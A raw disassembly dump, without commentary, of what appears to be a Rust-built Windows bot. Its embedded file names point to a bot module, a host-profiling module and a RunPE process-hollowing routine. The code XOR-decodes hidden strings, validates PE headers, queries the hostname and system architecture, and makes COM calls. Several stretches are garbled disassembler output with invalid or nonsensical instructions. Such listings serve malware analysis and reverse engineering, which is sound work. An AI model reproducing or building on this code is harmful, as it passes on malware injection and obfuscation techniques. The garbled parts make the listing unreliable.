call fcn.1a7f1b8357b
mov rcx, qword [r14 - 0x30]
mov rdx, qword [r14 - 0x20]
mov rbx, qword [r14]
mov r9, qword [r14 + 0x10]
mov r8, rbx
call fcn.1a7f1b433b8
mov ebp, eax
mov rdx, qword [r15 + 8]
mov rcx, r12
call fcn.1a7f1b8357b
test bpl, bpl
je 0x1a7f1b5af85
mov rax, qword [rsp + 0x128]
mov byte [rax + 9], 1
jmp 0x1a7f1b5afc5
mov rdx, qword [rsp + 0x330]
mov r8, qword [rsp + 0x340]
lea r14, [rsp + 0x1c8]
mov rcx, r14
call fcn.1a7f1b451d5
cmp qword [r14 + 0x10], 0
je 0x1a7f1b5afb8
mov rax, qword [rsp + 0x128]
mov byte [rax + 8], 1
lea rcx, [rsp + 0x1c8]
call fcn.1a7f1b42a72
lea r14, [rsp + 0x300]
mov rcx, r14
call fcn.1a7f1b42a72
mov rcx, rsi
int1
int1
call fcn.1a7f1b42a72
mov rcx, rdi
call fcn.1a7f1b42a72
mov rdx, qword [r14 + 0x50]
mov rcx, rbx
call fcn.1a7f1b8357b
mov ecx, 1
xor edx, edx
call fcn.1a7f1b8357b
movaps xmm6, xmmword [rsp + 0x1300]
add rsp, 0x1318
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinreg_0.50.0_src_reg_key.rs
mov edx, 0x800
mov rcx, r8
mov r8, rax
call fcn.1a7f1c2fbe0
add byte [rdi], cl
invalid
add byte [rdi], cl
or eax, dword [rcx + 0x57]
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x898
movaps xmmword [rsp + 0x880], xmm6
mov r14, r8
mov rbp, rdx
lea rax, [0x1a7f1c9df5c]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov rbx, qword [r9 + 0x18]
mov r12, qword [r9 + 0x28]
test r12, r12
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x270], r9
je 0x1a7f1b5cbe0
movabs rax, 0x555555555555556
cmp r12, rax
jae 0x1a7f1b61460
imul rsi, r12, 0x18
mov ecx, 8
mov rdx, rsi
call fcn.1a7f1b43c73
mov r15, rax
test rax, rax
jne 0x1a7f1b5cbe6
mov ecx, 8
jmp 0x1a7f1b5d50f
mov qword [rsp + 0x70], rbp
xor esi, esi
mov rcx, r14
xor edx, edx
call fcn.1a7f1b61e1a
mov rdi, rax
lea rdx, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1b43488
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x7c0]
call fcn.1a7f1b66d10
mov rcx, r14
xor edx, edx
call fcn.1a7f1b61e52
mov rdi, rax
lea rdx, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1b43488
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rsp + 0x7d8]
call fcn.1a7f1b66d10
xorps xmm0, xmm0
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmmword [rsp + 0x2c0], xmm0
mov dword [rsp + 0x2b0], 0x40
call fcn.1a7f1b4d587
mov r15, rax
mov ebx, 0x14
mov ecx, 0x14
mov edx, 1
call fcn.1a7f1b43c33
mov r12, rax
movaps xmm0, xmmword [0x1a7f1c35190]
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
mov dword [rax + 0x10], 0xd7b84412
mov ecx, 0x14
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movdqa xmm0, xmmword [0x1a7f1c351a0]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0xaffd3767
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rbx
mov qword [rsp + 0x170], rbx
lea rbx, str.srccorepc_infopc_info.rs
cmp rsi, 0x14
je 0x1a7f1b5b293
lea r14, [rsi + 1]
mov edx, 0x14
mov rcx, r12
mov r8, rsi
mov r9, rbx
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0x14
mov rcx, rdi
mov r8, rsi
mov r9, rbx
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov rsi, r14
jmp 0x1a7f1b5b1c4
mov rdx, qword [r9 + 0x30]
mov r8, qword [r9 + 0x40]
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b66d10
lea rcx, [rsp + 0x280]
mov rdx, rbp
mov r8, r14
mov r9, rsi
call fcn.1a7f1b4c016
lea rax, [0x1a7f1c308f8]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x86fd670cd473a16e
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b467c6
pxor xmm0, xmm0
movdqa xmmword [rsi + 0x30], xmm0
movdqa xmmword [rsi + 0x20], xmm0
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
xor ecx, ecx
lea rdx, [0x1a7f1c37288]
cmp rcx, 0x3f
ja 0x1a7f1b5b47f
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2b0], r8
add rcx, 8
jmp 0x1a7f1b5b273
lea rbx, [rsp + 0xf0]
lea r14, [rsp + 0x160]
mov rcx, rbx
mov rdx, r14
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, rbx
call fcn.1a7f1b43554
mov edx, 0x14
mov rcx, r12
call fcn.1a7f1b8357b
mov rdi, qword [rsi]
mov r12, qword [rsi + 0x10]
mov rcx, r12
call fcn.1a7f1bf6427
mov r13, rax
mov rbp, rdx
mov rcx, rax
mov rdx, rdi
mov r8, r12
call fcn.1a7f1c22170
mov rcx, r15
mov rdx, r13
mov r8, r12
call fcn.1a7f1b4d7e3
mov r15, rax
mov rcx, r13
mov rdx, rbp
call fcn.1a7f1b8357b
mov rdx, qword [rsi + 8]
mov rcx, rdi
call fcn.1a7f1b8357b
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call r15
mov dword [rsp + 0x78], eax
mov rax, qword [rsi + 8]
mov qword [rsp + 0x60], rax
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x68], rax
mov qword [rbx], 8
pxor xmm0, xmm0
movdqu xmmword [rbx + 8], xmm0
mov ecx, 5
call fcn.1a7f1bf6427
mov r12, rax
mov qword [rsp + 0x1a8], rdx
mov dword [rax], 0x2f2f3a61
mov byte [rax + 4], 0
mov r13b, 0x61
mov ebx, 0x1a
sub ebx, 1
jb 0x1a7f1b5b60a
mov r8d, 5
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1b69b50
mov rcx, rsi
lea rdx, str.srccorepc_infopc_info.rs
call fcn.1a7f1b43641
mov rbp, rax
mov r15, rdx
mov rcx, rsi
mov rdx, rax
mov r8, r15
call fcn.1a7f1b763b4
mov rax, qword [rsp + 0x2b0]
xor ecx, ecx
test rax, rax
sete cl
shl rcx, 4
mov rcx, qword [rsp + rcx + 0x2b8]
mov qword [rsp + 0x168], rcx
mov qword [rsp + 0x160], rax
mov rcx, r14
call fcn.1a7f1b436dd
test rax, rax
je 0x1a7f1b5b46f
mov rdi, rax
mov rcx, rsi
mov rdx, rbp
mov r8, r15
call fcn.1a7f1b763b4
movdqu xmm0, xmmword [rsp + 0x2b0]
movdqu xmmword [rsp + 0x160], xmm0
mov rcx, r14
call fcn.1a7f1b436dd
mov r15, rax
mov rdx, qword [rsp + 0x100]
cmp rdx, qword [rsp + 0xf8]
jne 0x1a7f1b5b446
lea rcx, [rsp + 0xf0]
call fcn.1a7f1bd2ac9
mov rdx, qword [rsp + 0x100]
movzx eax, r13b
mov rcx, qword [rsp + 0xf0]
imul r8, rdx, 0x18
mov qword [rcx + r8], r15
mov dword [rcx + r8 + 8], eax
mov qword [rcx + r8 + 0x10], rdi
inc rdx
mov qword [rsp + 0x100], rdx
mov r13b, byte [r12]
inc r13b
mov byte [r12], r13b
jmp 0x1a7f1b5b37b
mov al, byte [rax + 0x40]
xor al, 0xca
lea rdx, [rsp + 0x2b0]
mov byte [rdx + 0x40], al
lea rsi, [rsp + 0x160]
mov r8d, 0x41
mov rcx, rsi
call fcn.1a7f1c22170
mov ecx, 0x41
call fcn.1a7f1bf6427
mov rbx, rax
mov rdi, rdx
mov r8d, 0x41
mov rcx, rax
mov rdx, rsi
call fcn.1a7f1c22170
mov rsi, qword [rsp + 0x280]
cmp word [rsi], 0x5a4d
jne 0x1a7f1b5ca45
movsxd r12, dword [rsi + 0x3c]
cmp dword [rsi + r12], 0x4550
jne 0x1a7f1b5ca45
cmp word [rsi + r12 + 0x18], 0x20b
jne 0x1a7f1b5ca45
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xd0], xmm0
and qword [rsp + 0xe0], 0
movdqa xmmword [rsp + 0xf0], xmm0
movdqa xmmword [rsp + 0x140], xmm0
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmmword [rsp + 0x120], xmm0
movdqa xmmword [rsp + 0x110], xmm0
movdqa xmmword [rsp + 0x100], xmm0
and qword [rsp + 0x150], 0
mov dword [rsp + 0xf0], 0x68
mov qword [rsp + 0x248], rbx
mov qword [rsp + 0x250], rdi
mov qword [rsp + 0x258], 0x41
mov r14d, 1
mov ecx, 1
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
mov bpl, 0xdb
mov byte [rax], bpl
mov ecx, 1
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
mov byte [rax], bpl
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb0], r14
mov al, 1
xor r15d, r15d
lea r14, str.srccoreutilspe_execute_runpe.rs
test al, 1
je 0x1a7f1b5ea7f
mov edx, 1
mov rcx, rdi
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 1
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
xor byte [rax], bpl
xor eax, eax
mov r15d, 1
jmp 0x1a7f1b5b5cc
xor eax, eax
cmp dword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x60]
cmove rcx, rax
mov qword [rsp + 0x60], rcx
mov rcx, qword [rsp + 0x68]
cmove rcx, rax
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x78], rax
mov r14, qword [rsp + 0xf8]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x270], rax
mov rcx, r12
mov rdx, qword [rsp + 0x1a8]
call fcn.1a7f1b8357b
mov ecx, 0x180
mov edx, 8
call fcn.1a7f1b43c33
mov r12, rax
lea rsi, [rsp + 0x820]
mov rcx, rsi
call fcn.1a7f1b4e656
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x808]
mov rcx, rsi
call fcn.1a7f1b66d10
mov rdi, qword [rsi]
mov rsi, qword [rsi + 0x10]
mov rcx, rsi
call fcn.1a7f1bf6427
mov r15, rax
mov r13, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.1a7f1c22170
lea rdx, [rsp + 0x2b0]
mov byte [rdx], 3
mov qword [rdx + 8], r15
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rsi
lea r8, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0x280]
call fcn.1a7f1b4350a
mov rax, qword [0x1a7f1cdeb38]
cmp rax, 3
jne 0x1a7f1b5f8a3
lea rsi, [rsp + 0x2b0]
mov r8d, 0x100
mov rcx, rsi
xor edx, edx
call fcn.1a7f1c22810
mov rcx, rsi
mov edx, 0x100
call sub.ws2_32.dll_gethostname
test eax, eax
jne 0x1a7f1b60ad5
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1c24e50
lea rbx, [rsp + 0xf0]
mov rcx, rbx
mov rdx, rsi
mov r8, rax
call fcn.1a7f1b69b50
cmp qword [rbx], 0
jne 0x1a7f1b60ae4
mov rsi, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.1a7f1bbe1a9
mov rbp, rax
mov qword [rsp + 0x1a8], rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1c22170
mov rcx, rdi
call fcn.1a7f1bf6427
mov rsi, rax
mov r15, rdx
mov rcx, rax
mov rdx, rbp
mov r8, rdi
call fcn.1a7f1c22170
lea r13, [rsp + 0x2b0]
mov byte [r13], 3
mov qword [r13 + 8], rsi
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], rdi
lea rsi, str.srccorepc_infopc_info.rs
lea rcx, [rsp + 0xd0]
mov rdx, r13
mov r8, rsi
call fcn.1a7f1b4350a
call fcn.1a7f1b4ed39
mov byte [r13], 1
add dword [rcx - 0x78], eax
add dword [r8 - 0x73], r9d
mov word [rax + rcx*2], fs
add al, byte [rax]
add byte [rax - 0x73], cl
mov esp, 0x2b024
add byte [rax - 0x77], cl
cli
add dword [rcx - 0x78], eax
add dword [r8 - 0x73], r9d
mov word [rax + rcx*2], fs
add al, byte [rax]
add byte [rax - 0x73], cl
mov esp, 0x2b024
add byte [rax - 0x77], cl
cli
mov r8, rsi
call fcn.1a7f1b4350a
pxor xmm0, xmm0
movdqa xmmword [rdi + 0x20], xmm0
movdqa xmmword [rdi + 0x10], xmm0
movdqa xmmword [rdi], xmm0
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call sub.kernel32.dll_GetNativeSystemInfo
movzx ecx, word [rsi]
xor edx, edx
cmp cx, 9
setne dl
inc rdx
xor eax, eax
test cx, cx
cmovne rax, rdx
test rax, rax
je 0x1a7f1b5d46e
cmp eax, 1
jne 0x1a7f1b5d48b
mov esi, 6
mov ecx, 6
call fcn.1a7f1bf6427
mov dword [rax], 0x5f363858
mov word [rax + 4], 0x3436
jmp 0x1a7f1b5d4a7
mov rdx, qword [r9 + 0x30]
mov r8, qword [r9 + 0x40]
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b66d10
lea rcx, [rsp + 0xa0]
mov rdx, rbp
mov r8, r14
mov r9, rsi
call fcn.1a7f1b4c016
lea rax, [0x1a7f1c31f7e]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xc3d65ae2652551b1
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b46a2d
and dword [rsi + 3], 0
and dword [rsi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c371b8]
test r8b, 1
je 0x1a7f1b5b9ee
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2b0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x1a7f1b5b8cf
mov rdx, qword [r9 + 0x30]
mov r8, qword [r9 + 0x40]
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b66d10
lea rcx, [rsp + 0xa0]
mov rdx, rbp
mov r8, r14
mov r9, rsi
call fcn.1a7f1b4c016
lea rax, [0x1a7f1c2c8ed]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xd1113aa6ea1664b7
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b46936
and dword [rsi + 3], 0
and dword [rsi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c371d8]
test r8b, 1
je 0x1a7f1b5bb7a
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2b0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x1a7f1b5b990
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xc616
xor cl, 0x95
lea r14, [rsp + 0x2b0]
mov r8d, dword [r14]
lea rdx, [rsp + 0x80]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, r14
call fcn.1a7f1bc4b10
mov eax, 1
lea r8, [rsp + 0x160]
mov qword [r8], rax
xorps xmm6, xmm6
movups xmmword [r8 + 8], xmm6
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1b436fd
mov byte [rsi + 0x18], 1
lea rdi, [rsp + 0x160]
mov rcx, rdi
call fcn.1a7f1b4e591
mov rbx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
mov rdx, rbx
call fcn.1a7f1bc5cf0
lea rax, [0x1a7f1c3063d]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0x21fb8ee594dc1538
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.1a7f1b4699d
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x24a9
xor cl, 0x3f
mov byte [r14 + 2], cl
mov word [r14], ax
lea r12, [rsp + 0x2b0]
mov r8d, 3
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1bc99f0
mov r14, qword [rsi]
mov r13, qword [rsi + 0x10]
mov rcx, r14
mov rdx, r13
call fcn.1a7f1b41f22
lea r8, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1be751d
mov rbp, rax
mov rdi, rdx
mov r15, qword [rsp + 0xa0]
mov r9, qword [rsp + 0xb0]
mov rcx, r14
mov rdx, r13
mov r8, r15
call fcn.1a7f1b4e0d0
movups xmmword [r12 + 0x80], xmm6
and qword [r12], 0
mov eax, 1
mov qword [r12 + 0x78], rax
mov r13b, 2
mov byte [r12 + 0x92], r13b
mov word [r12 + 0x90], 0x204
and qword [r12 + 0x18], 0
and qword [r12 + 0x30], 0
and qword [r12 + 0x48], 0
and qword [r12 + 0x60], 0
lea r12, [rsp + 0x2b0]
mov rcx, r12
mov rdx, rbp
mov r8, rdi
call fcn.1a7f1b4dd7b
mov byte [r12 + 0x90], r13b
jmp 0x1a7f1b5bd00
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x7522
xor cl, 0xe1
lea r14, [rsp + 0x2b0]
mov r8d, dword [r14]
lea rdx, [rsp + 0x80]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, r14
call fcn.1a7f1bc4b10
mov eax, 1
lea r8, [rsp + 0x160]
mov qword [r8], rax
xorps xmm6, xmm6
movups xmmword [r8 + 8], xmm6
lea rsi, [rsp + 0xf0]
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1b436fd
mov byte [rsi + 0x18], 1
lea rdi, [rsp + 0x160]
mov rcx, rdi
call fcn.1a7f1b4e591
mov rbx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
mov rdx, rbx
call fcn.1a7f1bc5cf0
lea rax, [0x1a7f1c2b1f2]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0xc314f517dd553851
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.1a7f1b46a0c
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0x97af
xor cl, 0x22
mov byte [r14 + 2], cl
mov word [r14], ax
lea r12, [rsp + 0x2b0]
mov r8d, 3
mov rcx, rsi
mov rdx, r12
call fcn.1a7f1bc99f0
mov r14, qword [rsi]
mov r13, qword [rsi + 0x10]
mov rcx, r14
mov rdx, r13
call fcn.1a7f1b41f22
lea r8, str.srccore_botmod.rs
mov rcx, rax
call fcn.1a7f1be751d
mov rbp, rax
mov rdi, rdx
mov r15, qword [rsp + 0xa0]
mov r9, qword [rsp + 0xb0]
mov rcx, r14
mov rdx, r13
mov r8, r15
call fcn.1a7f1b4e0d0
movups xmmword [r12 + 0x80], xmm6
and qword [r12], 0
mov eax, 1
mov qword [r12 + 0x78], rax
js 0x1a7f1b5bcf7
mov byte [rsp + 0x92], 2
js 0x1a7f1b5bcf7
mov byte [rsp + 0x92], 2
mov word [r12 + 0x90], 0x204
and qword [r12 + 0x18], 0
and qword [r12 + 0x30], 0
and qword [r12 + 0x48], 0
and qword [r12 + 0x60], 0
lea r12, [rsp + 0x2b0]
mov rcx, r12
mov rdx, rbp
mov r8, rdi
call fcn.1a7f1b4dd7b
mov byte [r12 + 0x90], 3
mov rcx, r12
call fcn.1a7f1b4d893
mov rcx, r12
call fcn.1a7f1b42a15
lea rax, [rsp + 0x160]
mov rdx, qword [rax + 8]
mov rcx, rbx
call fcn.1a7f1b8357b
mov rdx, qword [rsi + 8]
mov rcx, r14
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0xa8]
mov rcx, r15
jmp 0x1a7f1b60687
call fcn.1a7f1b4ed39
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
test al, al
je 0x1a7f1b5ca65
call fcn.1a7f1b4e08c
lea r8, [0x1a7f1c37050]
lea rdi, [rsp + 0x210]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b43428
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
call fcn.1a7f1b41f22
lea r8, [0x1a7f1c37068]
mov rcx, rax
call fcn.1a7f1be751d
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdx
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor edx, edx
call fcn.1a7f1bf4600
mov qword [rsp + 0x70], rax
mov ecx, 0xb4
lea rax, [rsp + 0x160]
mov qword [rax], rcx
lea rbx, [rsp + 0xf0]
mov qword [rbx], rax
lea r14, [fcn.1a7f1b67cb0]
lea r13, [0x1a7f1c9d290]
mov qword [rsi], r13
mov ecx, 2
mov qword [rsi + 8], rcx
and qword [rsi + 0x20], 0
mov qword [rbx + 8], r14
mov qword [rsi + 0x10], rbx
mov r15d, 1
mov qword [rsi + 0x18], r15
lea rsi, [rsp + 0x80]
lea rbp, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rbp
call fcn.1a7f1b438e7
mov rcx, rsi
call fcn.1a7f1bf480d
mov rdi, rax
lea r12, [rsp + 0x1b0]
mov eax, 0xb4
mov qword [r12], rax
mov qword [rbp], r13
mov eax, 2
mov qword [rbp + 8], rax
and qword [rbp + 0x20], 0
mov qword [rbx], r12
mov qword [rbx + 8], r14
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], r15
lea rbp, [rsp + 0x160]
lea rsi, [rsp + 0x2b0]
mov rcx, rbp
mov rdx, rsi
call fcn.1a7f1b438e7
mov rcx, rbp
call fcn.1a7f1bf480d
mov rbx, rax
lea rax, [rsp + 0x248]
mov ecx, 0xb4
mov qword [rax], rcx
mov qword [rsi], r13
mov ecx, 2
mov qword [rsi + 8], rcx
and qword [rsi + 0x20], 0
mov r13, rax
mov qword [r12], rax
mov qword [r12 + 8], r14
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r15
lea rsi, [rsp + 0xf0]
lea rbp, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rbp
call fcn.1a7f1b438e7
mov rcx, rsi
call fcn.1a7f1bf480d
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], rdi
mov word [rsp + 0xc0], 1
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rax
lea r14, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov rcx, r14
xor edx, edx
call fcn.1a7f1bf4600
mov rsi, rax
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.1a7f1bf4600
mov rdi, rax
mov rcx, r14
xor edx, edx
call fcn.1a7f1bf4600
mov rbx, rax
mov rcx, r14
xor edx, edx
call fcn.1a7f1bf4600
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], rax
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x1a7f1b5e85d
and qword [rsp + 0x2b0], 0
xor r14d, r14d
mov ecx, 3
xor edx, edx
call fcn.1a7f1bf4537
mov qword [rsp + 0x20], rbp
lea rcx, [0x1a7f1c9d2b0]
lea r9, [0x1a7f1c9d278]
mov rdx, rax
mov r8d, 0x17
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rbp, qword [rsp + 0x2b0]
test eax, eax
js 0x1a7f1b5ebe1
test rbp, rbp
je 0x1a7f1b5ec00
mov rax, qword [rbp]
mov r14, qword [rax + 0x50]
lea rdx, [rsp + 0x1b0]
and qword [rdx + 0x18], 0
xorps xmm6, xmm6
movups xmmword [rdx + 8], xmm6
mov r15d, 1
mov qword [rdx], r15
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
call fcn.1a7f1bf6472
lea rdx, [rsp + 0x80]
movups xmmword [rdx + 8], xmm6
and qword [rdx + 0x18], 0
mov qword [rdx], r15
lea rsi, [rsp + 0x280]
mov rcx, rsi
call fcn.1a7f1bf6472
lea rdx, [rsp + 0xf0]
movups xmmword [rdx + 8], xmm6
and qword [rdx + 0x18], 0
mov qword [rdx], r15
lea rbx, [rsp + 0xd0]
mov rcx, rbx
call fcn.1a7f1bf6472
lea rdx, [rsp + 0x2b0]
movups xmmword [rdx + 8], xmm6
and qword [rdx + 0x18], 0
mov qword [rdx], r15
mov r15, r13
mov rcx, r13
call fcn.1a7f1bf6472
mov qword [rsp + 0x20], r13
mov rcx, rbp
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call r14
test eax, eax
js 0x1a7f1b5f90a
lea r8, [rsp + 0x2b0]
and qword [r8], 0
mov rax, qword [rbp]
xor edi, edi
mov rcx, rbp
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x1a7f1b5fda7
mov r14, qword [rsp + 0x2b0]
test r14, r14
je 0x1a7f1b5fdda
lea rdx, [rsp + 0x2b0]
and qword [rdx], 0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x48]
test eax, eax
js 0x1a7f1b5fe39
mov r15, qword [rsp + 0x2b0]
test r15, r15
je 0x1a7f1b5fed6
lea rdx, [rsp + 0x2b0]
and qword [rdx], 0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x38]
test eax, eax
js 0x1a7f1b5ff00
mov r12, qword [rsp + 0x2b0]
test r12, r12
je 0x1a7f1b60730
lea rdx, [rsp + 0x2b0]
and qword [rdx], 0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x88]
test eax, eax
js 0x1a7f1b60751
mov rbx, qword [rsp + 0x2b0]
test rbx, rbx
je 0x1a7f1b608e1
mov qword [rsp + 0x60], rbp
lea rdx, [rsp + 0x2b0]
and qword [rdx], 0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x58]
test eax, eax
js 0x1a7f1b6092a
mov rbp, qword [rsp + 0x2b0]
test rbp, rbp
and al, 0xb0
add al, byte [rax]
add byte [rax - 0x7b], cl
in eax, dx
je 0x1a7f1b60988
lea rcx, [0x1a7f1c61b00]
mov edx, 1
call fcn.1a7f1bf4600
lea rcx, [rsp + 0xf0]
and qword [rcx], 0
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsi]
mov rdi, qword [rcx + 0x38]
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], rax
mov ecx, 1
mov rdx, rax
call fcn.1a7f1bf4537
mov rcx, rsi
mov rdx, rax
lea r8, [rsp + 0xf0]
call rdi
test eax, eax
js 0x1a7f1b609a9
mov rdi, qword [rsp + 0xf0]
test rdi, rdi
setne sil
mov dword [rsp + 0x68], 0
jmp 0x1a7f1b609b9
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], rbp
mov r15d, 8
lea rdi, [rsp + 0x280]
mov qword [rdi], r15
xorps xmm6, xmm6
movups xmmword [rdi + 8], xmm6
lea rsi, [rsp + 0x230]
and qword [rsi], 0
and word [rsi + 8], 0
lea rbx, [rsp + 0x1f0]
mov qword [rbx], 1
and word [rbx + 8], 0
mov rcx, rsi
call fcn.1a7f1b59d68
mov rcx, rbx
call fcn.1a7f1b59d68
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b43af9
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b43af9
lea r14, [rsp + 0xd0]
mov qword [r14], r15
movups xmmword [r14 + 8], xmm6
mov r13, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x60], rax
mov r12, qword [rdi + 0x10]
shl r12, 4
xor edi, edi
mov qword [rsp + 0x68], r13
test r12, r12
je 0x1a7f1b5c2ee
mov rbp, qword [r13]
cmp rbp, 5
je 0x1a7f1b5c2ee
mov sil, byte [r13 + 8]
mov bl, byte [r13 + 9]
cmp rdi, qword [rsp + 0xd8]
jne 0x1a7f1b5c2bf
mov rcx, r14
mov rdx, rdi
call fcn.1a7f1b43d9f
mov r15, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xe0]
add r13, 0x10
shl rdi, 4
mov qword [r15 + rdi], rbp
mov byte [r15 + rdi + 8], sil
